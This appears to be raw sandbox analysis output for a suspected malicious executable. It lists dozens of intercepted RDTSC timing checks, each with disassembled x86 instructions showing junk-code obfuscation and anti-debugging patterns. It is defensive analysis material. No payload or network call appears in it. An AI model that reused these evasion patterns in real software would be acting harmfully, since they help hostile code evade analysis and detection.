Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3ED1 second address: 7C3ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C42F4 second address: 7C4355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F72A0D3A7F6h 0x00000009 jmp 00007F72A0D3A803h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 and edi, 54FDAE9Eh 0x0000001a push 00000004h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F72A0D3A7F8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov ecx, 2CD99CC1h 0x0000003b nop 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F72A0D3A801h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4A91 second address: 7C4A9B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4A9B second address: 7A059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A802h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1B8Ah], edx 0x00000010 lea eax, dword ptr [ebp+1248E400h] 0x00000016 mov dword ptr [ebp+122D31CEh], edi 0x0000001c push eax 0x0000001d pushad 0x0000001e push ecx 0x0000001f jmp 00007F72A0D3A7FAh 0x00000024 pop ecx 0x00000025 pushad 0x00000026 push edx 0x00000027 pop edx 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a popad 0x0000002b popad 0x0000002c mov dword ptr [esp], eax 0x0000002f mov dword ptr [ebp+122D2B06h], esi 0x00000035 call dword ptr [ebp+122D3478h] 0x0000003b push ebx 0x0000003c jmp 00007F72A0D3A800h 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A059F second address: 7A05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F72A05280E6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A05AA second address: 7A05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A05B0 second address: 7A05BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F72A05280E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A05BA second address: 7A05BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDE6E second address: 7EDE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDFC5 second address: 7EDFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDFCB second address: 7EDFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F72A05280E6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F72A05280F7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDFF1 second address: 7EE016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F72A0D3A7F8h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F72A0D3A800h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE158 second address: 7EE162 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F72A05280E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F70E7 second address: 7F70F6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72A0D3A7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5D0E second address: 7F5D16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6044 second address: 7F6075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72A0D3A800h 0x0000000b pushad 0x0000000c jmp 00007F72A0D3A7FEh 0x00000011 jmp 00007F72A0D3A7FAh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6321 second address: 7F6326 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F65A9 second address: 7F65C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A0D3A806h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6703 second address: 7F6709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6709 second address: 7F672F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72A0D3A7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F72A0D3A809h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6881 second address: 7F6887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6887 second address: 7F68C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F72A0D3A7FBh 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007F72A0D3A7FCh 0x00000012 jo 00007F72A0D3A7F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnc 00007F72A0D3A7F6h 0x00000020 jmp 00007F72A0D3A803h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F68C0 second address: 7F68C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB4CC second address: 7FB4E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F72A0D3A7FEh 0x00000010 jns 00007F72A0D3A7F6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB4E4 second address: 7FB4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D39C second address: 77D3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F72A0D3A7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021D6 second address: 8021DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021DC second address: 8021E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8024F4 second address: 802504 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F72A05280E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802504 second address: 80250A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80250A second address: 80252B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280F8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80252B second address: 80252F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80264E second address: 80265A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F72A05280E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80682A second address: 80685E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A807h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnp 00007F72A0D3A7F6h 0x00000015 js 00007F72A0D3A7F6h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80685E second address: 806862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80640A second address: 806412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80916A second address: 80916E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809468 second address: 809470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809470 second address: 809478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EF63 second address: 80EF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E41A second address: 80E439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F72A05280E6h 0x0000000a jmp 00007F72A05280F4h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E439 second address: 80E440 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA0C second address: 80EA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F72A05280E6h 0x0000000a popad 0x0000000b jl 00007F72A05280FFh 0x00000011 jmp 00007F72A05280F9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA36 second address: 80EA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F72A0D3A7FCh 0x00000008 jmp 00007F72A0D3A7FAh 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72A0D3A802h 0x00000015 jng 00007F72A0D3A7F6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA6A second address: 80EA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA6E second address: 80EA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F72A0D3A80Fh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA9F second address: 80EACD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72A05280F8h 0x00000008 jmp 00007F72A05280EBh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811903 second address: 811907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811907 second address: 811915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F72A05280E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811915 second address: 811919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811A93 second address: 811AA7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F72A05280ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811AA7 second address: 811AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811AAB second address: 811AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F72A0528106h 0x00000010 pushad 0x00000011 js 00007F72A05280E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811AC4 second address: 811ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811D70 second address: 811D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816208 second address: 816216 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816216 second address: 816233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F72A05280EFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F72A05280ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8163C2 second address: 8163CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8163CA second address: 816417 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280ECh 0x00000007 jp 00007F72A052810Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jne 00007F72A05280E6h 0x00000018 pop ecx 0x00000019 jnp 00007F72A05280EEh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816417 second address: 81641D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81641D second address: 81642D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81642D second address: 81643B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A7FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816823 second address: 81683F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280F5h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81683F second address: 81684F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F72A0D3A7F6h 0x0000000a jnl 00007F72A0D3A7F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81684F second address: 816862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816862 second address: 81686B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81686B second address: 816897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280F1h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F72A05280EEh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jo 00007F72A05280E6h 0x0000001c push esi 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4488 second address: 7C448C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C448C second address: 7C44B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D389Eh] 0x00000010 mov ebx, dword ptr [ebp+1248E43Fh] 0x00000016 cld 0x00000017 add eax, ebx 0x00000019 mov dword ptr [ebp+122D31B5h], edx 0x0000001f nop 0x00000020 jbe 00007F72A05280F0h 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C44B7 second address: 7C44EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 jmp 00007F72A0D3A800h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72A0D3A808h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816A28 second address: 816A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816BAB second address: 816BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82024D second address: 820257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F72A05280E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820257 second address: 820278 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F72A0D3A801h 0x0000000f jno 00007F72A0D3A7F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E230 second address: 81E23A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F72A05280E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E23A second address: 81E23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E53F second address: 81E543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E543 second address: 81E54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E54F second address: 81E553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E553 second address: 81E557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E557 second address: 81E55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E55D second address: 81E56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F72A0D3A7FAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE2C second address: 81EE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F72A05280F7h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F0E7 second address: 81F106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F72A0D3A808h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F106 second address: 81F111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F72A05280E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F6AB second address: 81F6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A806h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F99E second address: 81F9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9A7 second address: 81F9AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9AB second address: 81F9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72A05280F7h 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9CB second address: 81F9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9D9 second address: 81F9DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9DF second address: 81F9EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F72A0D3A7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9EA second address: 81FA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F72A05280EFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
